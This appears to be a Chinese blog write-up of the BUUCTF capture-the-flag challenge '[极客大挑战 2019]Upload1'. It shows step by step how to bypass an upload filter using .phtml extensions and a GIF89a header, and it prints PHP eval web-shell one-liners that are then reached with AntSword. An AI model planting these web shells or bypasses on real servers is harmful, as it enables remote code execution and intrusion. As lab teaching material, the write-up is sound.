[极客大挑战 2019]Upload1

此题为典型的文件上传漏洞

先上传一个.php 文件发现被过滤了

<?php @eval($_POST['cmd']); ?>

猜测为前端过滤,文件后缀改为.jpg文件,通过抓包更改filename属性与content-type属性信息绕过

 回显not! php! 做了后端后缀验证 

 

试着更改其他文件后缀名通过 php2 ,php3 ,php4,php5,phtml,phps

phtml绕过成功,但是后端有内容检测认证不能包含<?,试着编写javascript绕过

<script language='php'>@eval(@_POST['cmd']);</script>

 

 回显 “不要欺骗我,它根本不是img”

还是被后端检测到了,根据提示我们加上jpg文件的文件头试试

ÿØÿàJFIF
<script laguage='php'> @eval($_POST['cmd']); </script>

上传还是被检测到了

经过尝试发现使用gif的文件头可以绕过

GIF89a
<script language='php'> @eval($_POST['cmd']); </script>

 上传成功,但是并没有给upload地址,看url发现文件命名格式为upload_ ***,猜测目录为upload

猜对了,访问刚才上传的文件(buuctf靶场不要用御剑去扫)

 用蚁剑连接,连接失败返回数据为空,检查代码发现 属性写错了 'language' 写错成了 'languege'

连接成功

在根目录下发现flag

考点:后缀名绕过方法,文件幻术头绕过。

漏洞利用前提:存在文件包含漏洞

漏洞点:后端验证没有过滤phtml,导致可执行文件注入。

              后端验证没有过滤空格 shell.  php也可以上传。


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值